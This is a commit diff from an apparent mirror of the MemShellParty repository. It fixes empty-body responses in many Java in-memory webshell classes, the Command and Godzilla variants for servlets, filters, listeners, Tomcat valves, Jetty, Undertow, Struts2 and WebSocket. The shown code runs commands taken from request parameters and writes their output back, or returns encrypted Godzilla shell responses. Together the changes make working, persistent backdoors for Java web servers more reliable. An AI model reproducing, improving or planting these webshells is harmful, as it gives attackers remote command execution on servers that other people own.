mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
fix: shell connect failed due to empty body
This commit is contained in:
@@ -27,6 +27,8 @@ public class Command {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+4
-6
@@ -7,6 +7,7 @@ import javax.servlet.ServletOutputStream;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -24,12 +25,9 @@ public class CommandControllerHandler implements Controller {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+4
-6
@@ -5,6 +5,7 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -25,12 +26,9 @@ public class CommandFilter implements Filter {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -26,6 +26,8 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
|
|||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -43,6 +43,8 @@ public class CommandJettyAgentHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
if (baseRequest != null) {
|
if (baseRequest != null) {
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
}
|
}
|
||||||
|
|||||||
+2
@@ -32,6 +32,8 @@ public class CommandJettyCustomizer implements HttpConfiguration.Customizer {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
invokeMethod(request, "setHandled", new Class[]{boolean.class}, new Object[]{true});
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -40,6 +40,8 @@ public class CommandJettyHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+5
-7
@@ -6,6 +6,7 @@ import javax.servlet.ServletRequestListener;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -23,14 +24,11 @@ public class CommandListener implements ServletRequestListener {
|
|||||||
}
|
}
|
||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
|
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+4
-6
@@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletRequest;
|
|||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -30,12 +31,9 @@ public class CommandServlet extends HttpServlet {
|
|||||||
if (p != null) {
|
if (p != null) {
|
||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
ServletOutputStream outputStream = response.getOutputStream();
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
byte[] buf = new byte[8192];
|
response.getWriter().flush();
|
||||||
int length;
|
response.getWriter().close();
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+1
@@ -29,6 +29,7 @@ public class CommandStruct2Action {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().println(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
response.getWriter().flush();
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
}
|
}
|
||||||
} catch (Throwable ignored) {
|
} catch (Throwable ignored) {
|
||||||
}
|
}
|
||||||
|
|||||||
+2
@@ -32,6 +32,8 @@ public class CommandUndertowServletHandler {
|
|||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
|
outputStream.flush();
|
||||||
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+1
-1
@@ -35,7 +35,7 @@ public class CommandUpgrade implements UpgradeProtocol {
|
|||||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||||
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
|
||||||
outputStream.flush();
|
outputStream.flush();
|
||||||
inputStream.close();
|
outputStream.close();
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
@@ -26,6 +26,8 @@ public class CommandValve implements Valve {
|
|||||||
String param = getParam(p);
|
String param = getParam(p);
|
||||||
InputStream inputStream = getInputStream(param);
|
InputStream inputStream = getInputStream(param);
|
||||||
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
|
response.getWriter().flush();
|
||||||
|
response.getWriter().close();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
|
|||||||
+2
-7
@@ -6,6 +6,7 @@ import javax.websocket.MessageHandler;
|
|||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
import java.util.Scanner;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
* <a href="https://github.com/veo/wsMemShell">wsMemShell</a>
|
||||||
@@ -21,13 +22,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<S
|
|||||||
public void onMessage(String cmd) {
|
public void onMessage(String cmd) {
|
||||||
try {
|
try {
|
||||||
InputStream inputStream = getInputStream(getParam(cmd));
|
InputStream inputStream = getInputStream(getParam(cmd));
|
||||||
byte[] buf = new byte[8192];
|
session.getBasicRemote().sendText(new Scanner(inputStream).useDelimiter("\\A").next());
|
||||||
int length;
|
|
||||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
|
||||||
while ((length = inputStream.read(buf)) != -1) {
|
|
||||||
outputStream.write(buf, 0, length);
|
|
||||||
}
|
|
||||||
session.getBasicRemote().sendText(outputStream.toString());
|
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -51,6 +51,8 @@ public class Godzilla extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -49,6 +49,8 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -50,6 +50,8 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -66,6 +66,8 @@ public class GodzillaJettyAgentHandler extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
if (baseRequest != null) {
|
if (baseRequest != null) {
|
||||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||||
|
|||||||
+2
@@ -53,6 +53,8 @@ public class GodzillaJettyCustomizer extends ClassLoader implements HttpConfigur
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -57,6 +57,8 @@ public class GodzillaJettyHandler {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -50,6 +50,8 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -47,6 +47,8 @@ public class GodzillaStruct2Action {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -56,6 +56,8 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
+2
@@ -51,6 +51,8 @@ public class GodzillaValve extends ClassLoader implements Valve {
|
|||||||
writer.write(md5.substring(0, 16));
|
writer.write(md5.substring(0, 16));
|
||||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
writer.write(md5.substring(16));
|
writer.write(md5.substring(16));
|
||||||
|
writer.flush();
|
||||||
|
writer.close();
|
||||||
}
|
}
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
|
|||||||
Reference in New Issue
Block a user